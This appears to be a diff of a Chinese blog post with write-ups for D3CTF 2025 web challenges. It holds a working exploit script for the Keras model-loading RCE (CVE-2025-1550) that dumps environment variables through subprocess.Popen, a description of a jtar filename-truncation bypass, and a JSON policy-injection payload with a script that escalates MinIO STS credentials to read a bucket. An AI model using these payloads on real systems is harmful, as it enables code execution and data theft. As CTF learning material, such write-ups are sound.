|
| 1 | ++++ |
| 2 | +date = '2025-06-1T21:00:00+08:00' |
| 3 | +draft = false |
| 4 | +title = 'D3CTF 2025-WP' |
| 5 | +author='GSBP' |
| 6 | +categories=["Java安全","WP"] |
| 7 | + |
| 8 | ++++ |
| 9 | + |
| 10 | +## 前言 |
| 11 | + |
| 12 | +跟着Syc打的,web方向差一题ak,算是有点可惜了 |
| 13 | + |
| 14 | +## d3model |
| 15 | + |
| 16 | +题目内就一个app.py |
| 17 | + |
| 18 | +``` |
| 19 | +import keras |
| 20 | +from flask import Flask, request, jsonify |
| 21 | +import os |
| 22 | +
|
| 23 | +
|
| 24 | +def is_valid_model(modelname): |
| 25 | + try: |
| 26 | + keras.models.load_model(modelname) |
| 27 | + except Exception as e: |
| 28 | + print(e) |
| 29 | + return False |
| 30 | + return True |
| 31 | +
|
| 32 | +app = Flask(__name__) |
| 33 | +
|
| 34 | +@app.route('/', methods=['GET']) |
| 35 | +def index(): |
| 36 | + return open('index.html').read() |
| 37 | +
|
| 38 | +
|
| 39 | +@app.route('/upload', methods=['POST']) |
| 40 | +def upload_file(): |
| 41 | + if 'file' not in request.files: |
| 42 | + return jsonify({'error': 'No file part'}), 400 |
| 43 | + |
| 44 | + file = request.files['file'] |
| 45 | + |
| 46 | + if file.filename == '': |
| 47 | + return jsonify({'error': 'No selected file'}), 400 |
| 48 | + |
| 49 | + MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB |
| 50 | + file.seek(0, os.SEEK_END) |
| 51 | + file_size = file.tell() |
| 52 | + file.seek(0) |
| 53 | + |
| 54 | + if file_size > MAX_FILE_SIZE: |
| 55 | + return jsonify({'error': 'File size exceeds 50MB limit'}), 400 |
| 56 | + |
| 57 | + filepath = os.path.join('./', 'test.keras') |
| 58 | + if os.path.exists(filepath): |
| 59 | + os.remove(filepath) |
| 60 | + file.save(filepath) |
| 61 | + |
| 62 | + if is_valid_model(filepath): |
| 63 | + return jsonify({'message': 'Model is valid'}), 200 |
| 64 | + else: |
| 65 | +
|
| 66 | + return jsonify({'error': 'Invalid model file'}), 400 |
| 67 | +
|
| 68 | +if __name__ == '__main__': |
| 69 | + app.run(host='0.0.0.0', port=5001) |
| 70 | +``` |
| 71 | + |
| 72 | +代码也没啥好审的,很明显就只有一个keras.models.load_model(modelname)能当作sink点,去网上搜一下相关漏洞就能找到现成的payload,题目不出网,外带到index.html即可 |
| 73 | + |
| 74 | +https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models |
| 75 | + |
| 76 | +exp |
| 77 | + |
| 78 | +``` |
| 79 | +import os |
| 80 | +import zipfile |
| 81 | +import json |
| 82 | +from keras.models import Sequential |
| 83 | +from keras.layers import Dense |
| 84 | +import numpy as np |
| 85 | +
|
| 86 | +model_name = "test.keras" |
| 87 | +
|
| 88 | +x_train = np.random.rand(100, 28 * 28) |
| 89 | +y_train = np.random.rand(100) |
| 90 | +
|
| 91 | +model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)]) |
| 92 | +
|
| 93 | +model.compile(optimizer='adam', loss='mse') |
| 94 | +model.fit(x_train, y_train, epochs=5) |
| 95 | +model.save(model_name) |
| 96 | +
|
| 97 | +with zipfile.ZipFile(model_name, "r") as f: |
| 98 | + config = json.loads(f.read("config.json").decode()) |
| 99 | +
|
| 100 | +config["config"]["layers"][0]["module"] = "keras.models" |
| 101 | +config["config"]["layers"][0]["class_name"] = "Model" |
| 102 | +config["config"]["layers"][0]["config"] = { |
| 103 | + "name": "mvlttt", |
| 104 | + "layers": [ |
| 105 | + { |
| 106 | + "name": "mvlttt", |
| 107 | + "class_name": "function", |
| 108 | + "config": "Popen", |
| 109 | + "module": "subprocess", |
| 110 | + "inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}] |
| 111 | + }], |
| 112 | + "input_layers": [["mvlttt", 0, 0]], |
| 113 | + "output_layers": [["mvlttt", 0, 0]] |
| 114 | +} |
| 115 | +
|
| 116 | +with zipfile.ZipFile(model_name, 'r') as zip_read: |
| 117 | + with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write: |
| 118 | + for item in zip_read.infolist(): |
| 119 | + if item.filename != "config.json": |
| 120 | + zip_write.writestr(item, zip_read.read(item.filename)) |
| 121 | +
|
| 122 | +os.remove(model_name) |
| 123 | +os.rename(f"tmp.{model_name}", model_name) |
| 124 | +
|
| 125 | +with zipfile.ZipFile(model_name, "a") as zf: |
| 126 | + zf.writestr("config.json", json.dumps(config)) |
| 127 | +
|
| 128 | +print("[+] Malicious model ready") |
| 129 | +``` |
| 130 | + |
| 131 | +## d3jtar |
| 132 | + |
| 133 | +给了个war包,直接放在tomcat部署就好 |
| 134 | + |
| 135 | +题目只有一个Controller,逻辑如下 |
| 136 | + |
| 137 | +```java |
| 138 | +// |
| 139 | +// Source code recreated from a .class file by IntelliJ IDEA |
| 140 | +// (powered by FernFlower decompiler) |
| 141 | +// |
| 142 | + |
| 143 | +package d3.example.controller; |
| 144 | + |
| 145 | +import d3.example.utils.BackUp; |
| 146 | +import d3.example.utils.Upload; |
| 147 | +import java.io.File; |
| 148 | +import java.io.IOException; |
| 149 | +import java.nio.file.Paths; |
| 150 | +import java.util.Arrays; |
| 151 | +import java.util.HashSet; |
| 152 | +import java.util.Objects; |
| 153 | +import java.util.Set; |
| 154 | +import javax.servlet.http.HttpServletRequest; |
| 155 | +import org.springframework.stereotype.Controller; |
| 156 | +import org.springframework.web.bind.annotation.GetMapping; |
| 157 | +import org.springframework.web.bind.annotation.PostMapping; |
| 158 | +import org.springframework.web.bind.annotation.RequestParam; |
| 159 | +import org.springframework.web.bind.annotation.ResponseBody; |
| 160 | +import org.springframework.web.multipart.MultipartFile; |
| 161 | +import org.springframework.web.servlet.ModelAndView; |
| 162 | + |
| 163 | +@Controller |
| 164 | +public class MainController { |
| 165 | + public MainController() { |
| 166 | + } |
| 167 | + |
| 168 | + @GetMapping({"/view"}) |
| 169 | + public ModelAndView view(@RequestParam String page, HttpServletRequest request) { |
| 170 | + if (page.matches("^[a-zA-Z0-9-]+$")) { |
| 171 | + String viewPath = "/WEB-INF/views/" + page + ".jsp"; |
| 172 | + String realPath = request.getServletContext().getRealPath(viewPath); |
| 173 | + File jspFile = new File(realPath); |
| 174 | + if (realPath != null && jspFile.exists()) { |
| 175 | + return new ModelAndView(page); |
| 176 | + } |
| 177 | + } |
| 178 | + |
| 179 | + ModelAndView mav = new ModelAndView("Error"); |
| 180 | + mav.addObject("message", "The file don't exist."); |
| 181 | + return mav; |
| 182 | + } |
| 183 | + |
| 184 | + @PostMapping({"/Upload"}) |
| 185 | + @ResponseBody |
| 186 | + public String UploadController(@RequestParam MultipartFile file) { |
| 187 | + try { |
| 188 | + String uploadDir = "webapps/ROOT/WEB-INF/views"; |
| 189 | + Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar")); |
| 190 | + String filePath = Upload.secureUpload(file, uploadDir, blackList); |
| 191 | + return "Upload Success: " + filePath; |
| 192 | + } catch (Upload.UploadException e) { |
| 193 | + return "The file is forbidden: " + e; |
| 194 | + } |
| 195 | + } |
| 196 | + |
| 197 | + @PostMapping({"/BackUp"}) |
| 198 | + @ResponseBody |
| 199 | + public String BackUpController(@RequestParam String op) { |
| 200 | + if (Objects.equals(op, "tar")) { |
| 201 | + try { |
| 202 | + BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views")); |
| 203 | + return "Success !"; |
| 204 | + } catch (IOException var3) { |
| 205 | + return "Failure : tar Error"; |
| 206 | + } |
| 207 | + } else if (Objects.equals(op, "untar")) { |
| 208 | + try { |
| 209 | + BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar")); |
| 210 | + return "Success !"; |
| 211 | + } catch (IOException var4) { |
| 212 | + return "Failure : untar Error"; |
| 213 | + } |
| 214 | + } else { |
| 215 | + return "Failure : option Error"; |
| 216 | + } |
| 217 | + } |
| 218 | +} |
| 219 | + |
| 220 | +``` |
| 221 | + |
| 222 | +View接口只能够渲染jsp后缀的文件 |
| 223 | + |
| 224 | +Upload接口能够上传文件,不过有些filter |
| 225 | + |
| 226 | +BackUP能够使用jtar这个组件对webapps/ROOT/WEB-INF/views目录下的文件打包成tar或者解包 |
| 227 | + |
| 228 | + |
| 229 | + |
| 230 | +> 这里有个很误导的地方,也是直接导致我赛中没做出来的原因,就是view接口中的"/WEB-INF/views/" + page + ".jsp";和BackUp接口中的webapps/ROOT/WEB-INF/views指的是同一个目录,在比赛期间由于我在Tomcat部署,目录结构如下图,所以我的想法一直都是利用某种方法来进行目录穿越操作,最后复现试了一下远程,发现两个是同一个目录,绷不住了 |
| 231 | +>  |
| 232 | +
|
| 233 | + |
| 234 | + |
| 235 | +upload过滤做的很严,基本不可能成功上传,加上题目提醒jtar,那么肯定是jtar这个组件有问题 |
| 236 | + |
| 237 | + |
| 238 | + |
| 239 | +jtar在打包的流程是这样的,每个要被打包的文件都是一个Entry的实例,这个Entry包含了这个文件的一些信息,比如大小,名字,权限,还有用户的名字等等 |
| 240 | + |
| 241 | +然后在TarOutputStream中利用putNextEntry将每个实例化好的Entry对象放进Stream中,最后write进文件中 |
| 242 | + |
| 243 | +这里存在漏洞的地方就在putNextEntry中 |
| 244 | + |
| 245 | + |
| 246 | + |
| 247 | +进入writeEntryHeader |
| 248 | + |
| 249 | + |
| 250 | + |
| 251 | +这里获取文件名的Bytes |
| 252 | + |
| 253 | + |
| 254 | + |
| 255 | +将文件名的char强制转换为byte并且放到buffer里,这里会导致一种什么情况呢 |
| 256 | + |
| 257 | +**java中char的大小在\u0000-\uffff之间,而byte的大小在(-127)-128之间,所以当char的值在257时,被强制转换成byte,则会变成1,即ascii码为1对应的字符** |
| 258 | + |
| 259 | +所以这里的思路也出来了,我们只需要找到超出byte大小限制的一个unicode码就行了 |
| 260 | + |
| 261 | + |
| 262 | + |
| 263 | + |
| 264 | + |
| 265 | +然后进行一轮tar和untar,最后得到下面这个结果 |
| 266 | + |
| 267 | + |
| 268 | + |
| 269 | +所以解出思路大致就是这样,附一张解出图 |
| 270 | + |
| 271 | + |
| 272 | + |
| 273 | +## d3invitation |
| 274 | + |
| 275 | +环境有两个,一个oss端,一个web端 |
| 276 | + |
| 277 | +Web端这边测端口一共测出来三个 |
| 278 | + |
| 279 | +- /api/genSTSCreds 生成AK,SK还有session_token |
| 280 | +- /api/putObject 拿着上面生成的凭证往储存桶里放object |
| 281 | +- /api/putObject 读取桶下的object |
| 282 | +- /invitation 没啥吊用,生成邀请函的页面 |
| 283 | + |
| 284 | + |
| 285 | + |
| 286 | +这里token我们可以解一下里面的内容 |
| 287 | + |
| 288 | +jwt.io |
| 289 | + |
| 290 | + |
| 291 | + |
| 292 | +可以看到一个叫sessionPolicy的东西 |
| 293 | + |
| 294 | + |
| 295 | + |
| 296 | +定义了我们的一些policy,以及可读的权限只有我们上传的文件 |
| 297 | + |
| 298 | +那这里我们可以猜测,flag就在桶之中,我们需要获取到一定的权限去读这个flag |
| 299 | + |
| 300 | +那我们这里需要获得一个够权限的token,要么是获得他token的key值,要么就是让他生成一个够权限的token |
| 301 | + |
| 302 | +上面我们看到policy是一个json,这里可以尝试使用"来闭合注入 |
| 303 | + |
| 304 | + |
| 305 | + |
| 306 | +failed了,说明闭合上了,这里是可以注入的,后续也没啥东西了我觉得,就是注入一个高权限的policy,这里我直接甩exp |
| 307 | + |
| 308 | +``` |
| 309 | +from minio import Minio |
| 310 | +from minio.error import S3Error |
| 311 | +import requests |
| 312 | +import json |
| 313 | +BASE_URL = "http://35.241.98.126:31802" # ← 改成你的目标地址 |
| 314 | +UPLOAD_FILENAME = '"],\"Action\":[\"s3:GetObject\",\"s3:PutObject\"]},{"Effect": "Allow","Action": ["s3:GetObject","s3:PutObject","s3:ListBucket","s3:ListAllMyBuckets","s3:GetBucketLocation"],"Resource": "*"}]}aaa' |
| 315 | +UPLOAD_CONTENT = b"This is a test file from attacker." |
| 316 | +ACCESS_KEY = "" |
| 317 | +SECRET_KEY = "" |
| 318 | +BUCKET_NAME = "flag" |
| 319 | +SESSION_TOKEN="" |
| 320 | +
|
| 321 | +
|
| 322 | +# Step 1: 获取临时凭证 |
| 323 | +def get_temp_creds(object_name): |
| 324 | + global ACCESS_KEY, SECRET_KEY, SESSION_TOKEN |
| 325 | + url = f"{BASE_URL}/api/genSTSCreds" |
| 326 | + data = {"object_name": object_name} |
| 327 | + resp = requests.post(url, json=data) |
| 328 | + resp.raise_for_status() |
| 329 | + print("[+] 获取临时凭证成功") |
| 330 | + # temp=json.loads() |
| 331 | + ACCESS_KEY= resp.json()['access_key_id'] |
| 332 | + SECRET_KEY=resp.json()['secret_access_key'] |
| 333 | + SESSION_TOKEN=resp.json()['session_token'] |
| 334 | + return ACCESS_KEY,SECRET_KEY,SESSION_TOKEN |
| 335 | +# MinIO server configuration |
| 336 | +get_temp_creds(UPLOAD_FILENAME) |
| 337 | +# Initialize the MinIO client |
| 338 | +print(ACCESS_KEY) |
| 339 | +print(SECRET_KEY) |
| 340 | +print(SESSION_TOKEN) |
| 341 | +minio_client = Minio( |
| 342 | + "35.241.98.126:32402", |
| 343 | + access_key=ACCESS_KEY, |
| 344 | + secret_key=SECRET_KEY, |
| 345 | + session_token=SESSION_TOKEN, |
| 346 | + secure=False |
| 347 | +) |
| 348 | +
|
| 349 | +
|
| 350 | +def download_file(object_name, download_path): |
| 351 | + """Download a file from the MinIO bucket.""" |
| 352 | + try: |
| 353 | + minio_client.fget_object(BUCKET_NAME, object_name, download_path) |
| 354 | + print(f"[+] File '{object_name}' downloaded to '{download_path}'") |
| 355 | + except S3Error as e: |
| 356 | + print(f"[-] Error downloading file: {e}") |
| 357 | +
|
| 358 | +def list_objects(): |
| 359 | + """List all objects in the MinIO bucket.""" |
| 360 | + try: |
| 361 | + objects = minio_client.list_objects(BUCKET_NAME) |
| 362 | + print("[+] Objects in bucket:") |
| 363 | + for obj in objects: |
| 364 | + print(f" - {obj.object_name}") |
| 365 | + except S3Error as e: |
| 366 | + print(f"[-] Error listing objects: {e}") |
| 367 | +
|
| 368 | +def list_buckets(): |
| 369 | + """List all buckets in the MinIO server.""" |
| 370 | + try: |
| 371 | + buckets = minio_client.list_buckets() |
| 372 | + print("[+] Buckets:") |
| 373 | + print(buckets) |
| 374 | + for bucket in buckets: |
| 375 | + print(f" - {bucket.name}") |
| 376 | + except S3Error as e: |
| 377 | + print(f"[-] Error listing buckets: {e}") |
| 378 | +
|
| 379 | +
|
| 380 | +list_buckets() |
| 381 | +list_objects() |
| 382 | +download_file("flag", "downloaded_example.txt") |
| 383 | +``` |
| 384 | + |
| 385 | +## tidy quic |
0 commit comments